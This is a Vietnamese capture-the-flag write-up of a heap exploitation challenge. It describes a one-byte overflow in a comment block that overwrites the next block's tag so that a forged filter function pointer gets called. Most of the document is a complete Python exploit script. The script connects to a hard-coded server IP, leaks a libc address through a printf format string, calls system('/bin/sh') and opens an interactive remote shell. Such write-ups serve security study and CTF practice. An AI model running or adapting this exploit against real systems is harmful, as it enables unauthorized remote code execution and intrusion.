Đây là một bài khá hay, mình phải mấy mấy tiếng đồng hồ để phân tích code.
Đầu tiên chương trình tổ chức bộ nhớ, cấp phát như sau:
Cấp phát 1 vùng nhớ 0x1000 bytes đầu tiên, và set 4 byte kế tiếp là length <địa chỉ vùng nhớ><độ dài phần tử>(1)
Vùng nhớ 0x1000 bytes này được chia nhỏ ra 16 phần, 1 phần là 256 bytes.
Nếu vùng nhớ 0x1000 bytes này hết , chương trình sẽ tạo 1 vùng nhớ khác tiếp theo như (1)
Cấu trúc của một ascii art được phân bố như sau:
struct ascii_art{
char tag; // tag của ascii_art có giá trị bằng 'I'
int id;
void (*filter)(char* content);
char content[247];
};
Cấu trúc của một comment được phân bố như sau:
struct comment{
char tag; // tag có giá trị bằng '7'
int id;
char content[251];
}
Xem xét đoạn mã sau:
Sau khi tạo 1 block comment, chương trình đọc vào vùng content với giá trị là 252 bytes (lố 1 byte) dựa vào đây mình sẽ khai thác được lỗi, ghi đè giá trị tag của block kế, biến block comment -> block ascii art, từ đó fake được filterfunc.
đoạn mã trên dùng để trigger bug khi biến block comment -> block ascii art
Các khai thác lỗi:
Tạo 1 block ascii art, tạo 2 block comment cho block ascii 1 , tạo block ascii art 2
+----------------------+
| Ascii Block 1 |
+----------------------+
| comment 1(1) |
+----------------------+
| comment 2(1) |
+----------------------+
| Ascii Block 2 |
+----------------------+
Xóa hết comment block 1, tạo lại comment cho block 1 và block 2, dùng comment block 2, overwrite giá trị tag của Ascii Block 2 thành comment, dùng comment block 1 để overwrite comment block 2 thì Ascii Block 2
+----------------------+
| Ascii Block 1 |
+----------------------+
| comment 1(1) |
+----------------------+
| comment 1(2) |
+----------------------+
| Ascii Block 2 |
+----------------------+
Trạng thái cần đạt được
+--------------------------------+
| Ascii Block 1 |
+--------------------------------+
| comment 1(1) |
+--------------------------------+
| comment 2(1),block 2 fake |
+--------------------------------+
| Ascii Block 2, comment 2 fake |
+--------------------------------+
Trigger bug và ta có
Do mình có thể control được filter_func và content, cho nên mình sẽ dùng printf và fmt để leak được địa chỉ __libc_main_start ở trên stack, từ đó tính được địa chỉ của hàm system
Payload:
import socket
from struct import *
import telnetlib
#+------------------+
#| Ascii Block 1 |
#+------------------+
#| comment 1 |
#+------------------+
#| comment 2 |
#+------------------+
#| Ascii Block 2 |
#+------------------+
def connect(host,port):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((host,port))
return s
def add_ascii_block(s,block):
s.send('1\n')
s.recv(1024)
s.recv(1024)
s.send('1\n')
s.recv(1024)
s.send(block)
def add_comment_block(s,block):
s.send('1\n')
s.recv(1024)
s.send(block)
def select_block_id(s,block_id):
s.send('3\n') # select
s.recv(1024)
s.recv(1024)
s.send(str(block_id) + '\n')
s.recv(1024)
s.recv(1024) # comment menu
def back_to_main_menu(s):
s.recv(1024)
s.recv(1024) # comment menu
s.send('0\n') # back
s.recv(1024) # main menu
s.recv(1024)
def leak_mem(s):
__libc_main = 0
fmt = '%p'*22 + '%s'
payload = pack('<I',0x8048420) # printf
payload+= fmt + 'A'*(0xfb - 4 - len(fmt)) + '7'
s.recv(1024) # banner
s.recv(1024) # main menu
add_ascii_block(s,'A'*0xf6 + '\n') # add ascii block
s.recv(1024)
s.recv(1024) # main menu
select_block_id(s,1)
add_comment_block(s,'C'*0xfb + '\n') # add comment of block 1
s.recv(1024)
s.recv(1024) # comment menu
add_comment_block(s,'C'*0xfb + '\n') # add comment of block 1
back_to_main_menu(s)
add_ascii_block(s,'B'*0xf6 + '\n')
s.recv(1024)
s.recv(1024) # main menu
select_block_id(s,1)
s.send('2\n') # remove all comments of block 1
s.recv(1024)
s.recv(1024) # comment menu
add_comment_block(s,'D'*0xfb + '\n') # add comment of block 1
back_to_main_menu(s)
# add comment to block 2, change ascii block 2 into comment block 2
select_block_id(s,2)
add_comment_block(s,payload)
back_to_main_menu(s)
select_block_id(s,1)
# change 1st comment of block 2 into block 2
s.send('2\n') # remove all comments of block 1
s.recv(1024)
s.recv(1024) # comment menu
add_comment_block(s,'A'*0xfb + 'I') # mark that comment 1 of block 2 is block 2
back_to_main_menu(s)
select_block_id(s,2)
s.send('3\n') # trigger bug
d = s.recv(1024)
if '\xf7' in d:
index = d.index('\xf7')
__libc_main = d[index - 3:index + 1]
__libc_main = unpack('<I',__libc_main)[0]
s.send('0\n') # back
s.recv(1024)
s.recv(1024) # main menu
return __libc_main
def exploit():
s = connect('188.40.18.80',1234)
__libc_main = leak_mem(s)
offset = 149824 # Ubuntu 14.10
if (__libc_main & 0xf7000000) == 0xf7000000:
system_addr = __libc_main + offset
cmd = '/bin/sh\x00'
payload = pack('<I',system_addr)
payload+= cmd + 'A'*(0xfb - 4 - len(cmd)) + '7'
print '[!!!] System(): ',hex(system_addr)
add_ascii_block(s,'A'*0xf6 + '\n') # add ascii block
s.recv(1024)
s.recv(1024) # main menu
select_block_id(s,3)
add_comment_block(s,'C'*0xfb + '\n') # add comment of block 1
s.recv(1024)
s.recv(1024) # comment menu
add_comment_block(s,'C'*0xfb + '\n') # add comment of block 1
back_to_main_menu(s)
add_ascii_block(s,'B'*0xf6 + '\n')
s.recv(1024)
s.recv(1024) # main menu
select_block_id(s,3)
s.send('2\n') # remove all comments of block 1
s.recv(1024)
s.recv(1024) # comment menu
add_comment_block(s,'D'*0xfb + '\n') # add comment of block 1
back_to_main_menu(s)
# add comment to block 2, change ascii block 2 into comment block 2
select_block_id(s,4)
add_comment_block(s,payload) # real payload
back_to_main_menu(s)
select_block_id(s,3)
# change 1st comment of block 2 into block 2
s.send('2\n') # remove all comments of block 1
s.recv(1024)
s.recv(1024) # comment menu
add_comment_block(s,'A'*0xfb + 'I') # mark that comment 1 of block 2 is block 2
back_to_main_menu(s)
select_block_id(s,4)
s.send('3\n') # trigger bug
print '[!!!] Shell is comming'
# interact socket with stdin,stdout
t = telnetlib.Telnet()
t.sock = s
t.interact()
exploit()